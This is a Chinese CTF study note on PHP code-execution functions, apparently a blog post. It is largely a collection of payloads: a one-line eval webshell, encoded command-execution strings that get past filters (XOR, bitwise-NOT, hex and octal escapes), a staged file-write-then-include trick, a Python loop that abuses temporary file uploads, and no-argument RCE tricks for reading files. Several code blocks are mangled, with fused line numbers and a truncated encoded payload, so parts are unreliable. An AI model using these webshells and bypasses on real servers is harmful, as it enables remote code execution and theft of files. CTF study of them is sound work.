前言
主要借ctf中eval函数的利用记录以下php语句特点和web木马的构造
php短标签
1 | 相当于 |
php–代码执行
php代码执行函数
eval()
eval是一个语言构造器,并不是系统组件函数,不能被 可变函数 调用。因此我们在php.ini中使用disable_functions是无法禁止它的,只有使用插件才能禁用。因此一般我们的一句话木马一般都写成<?php eval($_POST['1']);
而不是<?php$_POST['1']($_POST['2']);
eval() 函数把字符串按照 PHP 代码来计算且只能执行一次,该字符串必须是合法的 PHP 代码,且必须以分号结尾。如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。
assert()
编写代码时,我们总是会做出一些假设,断言就是用于在代码中捕捉这些假设,可以将断言看作是异常处理的一种高级形式。程序员断言在程序中的某个特定点该的表达式值为真(为真才能继续执行)。如果该表达式为假,就中断操作. 版本在PHP7以下是函数 PHP7及以上为语法结构,php7.1以后就只能用eval了 assert默认没有执行功能了assert ( mixed $assertion [, Throwable $exception ] );
1 | eval(" phpinfo()"); <错误> |
preg_replace() /e代码执行漏洞
preg_replace($pattern, $replacement, $subject),搜索 subject 中匹配 pattern 的部分,以 replacement 进行替换,如果 subject 是一个数组, preg_replace() 返回一个数组, 其他情况下返回一个字符串.
(如果匹配被查找到,替换后的 subject 被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL。)
正则表达式中的/e模式的作用是将替换串中的内容当作代码来执行,/e模式是php语言才有的,除此之外还有/i(不区分大小写)等。php5.5废除preg_replace的/e模式(不是移除)当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:’、”、 和 NULL) 而后进行后向引用替换.
1 | <? |
在php中,双引号里面如果包含有变量,php解释器会将其替换为变量解释后的结果;单引号中的变量不会被处理。
我们如果提交?h=[php]{${phpinfo()}}[/php],replacement
参数变为test("{${phpinfo()}}")
,phpinfo()就会被执行
create_function(此函数在内部执行 eval(),已在 PHP 7.2.0 起被废弃)
创建一个匿名(lambda样式)函数
1 | //函数构造 |
1.系统就会寻找闭合的引号,此时引号内的注释符等会忽略;
2.系统寻找逗号;
3.系统寻找一对单/双引号;
4.系统寻找)和;。
1 | //第一个参数的利用 |
回调函数
- call_user_func
call_user_func(callable $callback, mixed ...$args): mixed
callback
将被调用的回调函数
args
0个或以上的参数,被传入回调函数。
call_user_func(‘assert’, ‘phpinfo();’);
call_user_func(‘extract’, array);传入一个数组作为参数
call_user_func(array(NAMESPACE .’\Foo’, ‘test’));
当传入的参数,是一个数组,且数组的第一个值是一个类的名字,或一个对象,那么,就会把数组的第二个值,当做方法,然后执行。
call_user_func_array
同call_user_func 可传入一个数组带入多个参数调用函数1
2
3
4
5
6
7
8call_user_func_array ('file_put_contents', ['1.txt','6666']);
$vars[0]='system';
$vars[1][]='whoami';
call_user_func_array($vars[0],$vars[1]);
$foo = new foo;
call_user_func_array(array($foo, "bar"), array("three", "four"));array_map
为数组的每个元素应用回调函数$a = [1, 2, 3, 4, 5];
array_map('cube', $a);
也可以多参array_map('cube', $a,$b);
array_filter
array_filter($a, "odd")
遍历 array 数组中的每个值,并将每个值传递给 callback 回调函数。 如果 callback 回调函数返回 true,则将 array 数组中的当前值返回到结果 array 数组中。array_walk_recursive
array_walk_recursive(array|object &$array, callable $callback, mixed $arg = null): bool
array
输入的数组。
callback
典型情况下 callback 接受两个参数。array 参数的值作为第一个,键名作为第二个。
arg
如果提供了可选参数 arg,将被作为第三个参数(整个)传递给callback。
array_walk_recursive内部机制相关,会把第一个参数数组里面的值循环迭代传进去,第三个参数一直参加调用
php文件操作
目录操作
1 | rmdir //删除目录 |
文件操作
1 | move_uploaded_file //(临时上传文件路径,目标文件路径);//移动临时上传文件 |
文件写入
1 | file_put_contents //将一个字符串写入文件file_put_contents("1.txt","6666");参数 data 也可以是数组(但不能是多维数组) |
文件读取
1 | file_get_contents //读入文件返回字符串,echo file_get_contents("flag.txt"); echo file_get_contents("https://www.bilibili.com/"); |
输出
print_r() 函数用于打印变量,以更容易理解的形式展示。
var_dump() 函数用于输出变量的相关信息。
文件删除
unlink() 传入文件名删除文件
waf绕过
PHP7前是不允许用($a)(),即方法名不能被进一步解析
PHP7中增加了对此的支持
字符串拼接绕过(PHP>=7)
在PHP中不一定需要引号(单引号/双引号)来表示字符串。PHP支持我们声明元素的类型,比如$name = (string)mochu7
;,在这种情况下,$name就包含字符串”mochu7”,此外,如果不显示声明类型,那么PHP会将圆括号内的数据当成字符串来处理1
2
3
4
5
6(p.h.p.i.n.f.o)();
(sy.(st).em)(whoami);
(sy.(st).em)(who.ami);
(s.y.s.t.e.m)("whoami");
.......字符串转义绕过(php>=7)
php默认字符串用
在php7中当字符串作为代码时,如果存在其中””,会先对其中的内容进行解析1
2
3
4
5
6
7
8
9
10
11以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
"\x70\x68\x70\x69\x6e\x66\x6f"(); #phpinfo();
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('id'); #system('id');
以八进制表示的\[0–7]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
"\163\171\163\164\145\155"('whoami'); #system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151"); #system('whoami');
.......这种只支持将字符串当作参数传入到到eval中,即
eval($a)
,支持拼接,但不支持eval($a($b))
这样的分参的形式;多次传参绕过
PHP的url参数的值可视为包裹在””的字符串,可以被进一步解析1
2
3
4
5eval($cmd)
GET:
?1=system&2=whoami
POST:
cmd=$_GET[1]($_GET[2]);异或绕过
1
2
3
4
5
6
7其中%ff为字符ÿ
http://localhost:3000/php/text.php?code=${('%00'^'%5f').('%07'^'%40').('%05'^'%40').('%09'^'%5d')}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo
//phpinfo()
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
//${_GET}{%ff}();&%ff=phpinfo取反绕过(php>=7)
PHP7前是不允许用($a)(),即方法名不能被进一步解析
PHP7中增加了对此的支持1
2
3
4
5//
$a="cat /flag";
var_dump(urlencode(~"$a"));(~%8C%86%8C%8B%9A%92)(~%88%97%90%9E%92%96); #system('whoami');
$_=(~'%9E%8C%8C%9A%8D%8B');$__='_'.(~'%AF%B0%AC%AB');$___=$$__;$_($___[_]);
#assert($_POST[_]);
require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
require+伪协议实现任意文件读取
利用php弱类型转化和自增
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
//array(0) {}
$l=1;
$_=([].[])[0];//Array
$_=((0/0).[])[3]; //NAN
var_dump($_);
$_=($_/$_.$_)[0]; //N
$k='1';
//$__=$_.$_++; 时的$_=O $_.$_++; 这个顺序是(实验得出来的):
// 先使用 后自增 最后使用 $__=$_.O; -> $_++ -> $__=P.O;
$_=[].[];//ArrayArray
$__='';
$%ff=$_[''];//A
////ABCDEFGHIJKLMNOPKRSTUVWXYZ
//// 1 1 1 11 1长度绕过
值得注意的是在调用php数组时,若键为字母并且没有被引号包围的化,在编译器中提示错误,但运行时不会报错,
$_GET[aaaa]
命令执行的利用
1
2param=`$_GET[1]`;&1=bash
param=exec($_GET[1]);文件包含
- 远程文件包含的利用
- 本地文件包含的利用
1
2
3
4
5
6param=$_GET[a](N,a,8);&a=file_put_contents
//利用file_put_contents可以将字符一个个地写入一个文件中
# 每次写入一个字符:PD9waHAgZXZhbCgkX1BPU1RbOV0pOw
# 最后包含
param=include$_GET[0];&0=php://filter/read=convert.base64-decode/resource=N
- 利用变长参数特性展开数组
在PHP中可以使用func(...$arr)
这样的方式,将$arr数组展开成多个参数,传入func函数。1
2
3
4
5
6
7
8
9
10POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
param=usort(...$_GET);经典rce套路
- 临时文件利用
get传参code= ?>=`. /???/????????[@-[]`;?>1
2
3
4
5
6
7
8
9
10
11
12import requests
s = requests.session()
while True:
url = "http://10.140.98.245/29-77/56.php"
c = "?c=.+/???/????????[@-[]"
payload = url+c
reques = s.post(url=payload, files={"file":('1.php',b'cat flag.php')})
if reques.text.find("flag") > 0:
print(reques.text)
break - disable_fuctions绕过
查看目录
print_r(scandir(dirname(‘FILE‘))); //查看当前目录
print_r(scandir(‘./‘)); //查看当前目录
print_r(scandir(‘/‘)); //查看根目录
无参数rce
核心代码
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { |
(?R)是引用当前表达式的意思,即可以用\w+((?R)?)替换到(?R)的位置,因此可以衍生成匹配\w+(\w+((?R)?))、\w+(\w+(\w+((?R)?)))、…
可以是a()、a(b())或a(b(c())),但不能是a(‘b’)或a(‘b’,’c’),不能带参数
从外取值
1.getallheaders()
这个函数的作用是获取http所有的头部信息,即headers,但这个有个限制条件就是必须在apache的环境下可以使用
返回值
1 | array(8) { |
如果当前为多元数组,则返回的元素为数组,另外current的还有个别名为pos
有的时候当我们想读的文件比较靠后时,就可以用array_reverse()这个函数把它倒过来,就可以少用几个next()
我们在http header中写入我们的参数,可用其进行bypass 无参数函数执行
例如end(getallheaders())
2.get_defined_vars()(版本要求:PHP 4 >= 4.0.4, PHP 5, PHP 7)
返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
在这里可以发现其只能回显全局变量
1 | $_GET |
3.session_id()
注意的就是session_id()要开启session才能用,session_id()会获取/设置COOKIE的PHPSESSID,
但PHPSESSID允许字母和数字出现,我们可以先将其16进制编码,再用hex2bin函数将16进制转换为字符串
4.getenv()
getenv() :获取环境变量的值(在PHP7.1之后可以不给予参数)
所以该函数只适用于PHP7.1之后版本
我们怎么从一个偌大的数组中取出我们指定的值,我们可用爆破的方式获取数组中任意位置需要的值
array_rand随机返回一个或多个键,第二个参数用来确定要选出几个键,默认是一个键
array_flip交换数组中的键和值
直接读取文件
路径操作
- 获取当前目录
getcwd()获取当前目录
scandir()列出目录中的文件和目录
1
2
3?code=var_dump(scandir(getcwd()));
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }正常的,也可以使用print_r(scandir(‘.’));来查看当前目录所有文件名
localeconv() 函数返回一个包含本地数字及货币格式信息的数组,它返回的是一个二维数组,而它的第一位就是一个点.
chr(46)
chr(46)就是字符.,chr() 函数以256为一个周期,所以 chr(46)、chr(302)、chr(558)等都等于 .1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
161. phpversion()
如果PHP版本为5
floor(phpversion())返回 5
sqrt(floor(phpversion()))返回2.2360679774998
tan(floor(sqrt(floor(phpversion()))))返回-2.1850398632615
cosh(tan(floor(sqrt(floor(phpversion())))))返回4.5017381103491
sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))返回45.081318677156
ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))返回46
chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))返回"."
2. time()
返回自从 Unix 纪元(格林威治时间 1970 年 1 月 1 日 00:00:00)到当前时间的秒数,date("Y-m-d",$t)可以返回当地时间。
chr(time()),一个周期(256)必定出现一次"."
chr(localtime(time())) 以数组的形式返回本地时间,第一个值为秒,则一个周期(60)必定出现一次"."
3. crypt
hebrevc(crypt(arg))可以随机生成一个hash值,第一个字符随机是$(大概率) 或者 "."(小概率) 然后通过chr(ord())只取第一个字符
chr(ord(hebrevc(crypt(time()))))其他获得.的方法
strrev(crypt(serialize(array())))也可以得到”.”
- 目录遍历
那么既然不在这一层目录,如何进行目录上跳呢?
- dirname()返回路径中的目录部分
- chdir()可以更改我们的当前目录
通过不断切换目录实现任意文件读取
当然chdir(‘..’),即chdir(next(scandir(getcwd()))),也可以更改我们的当前目录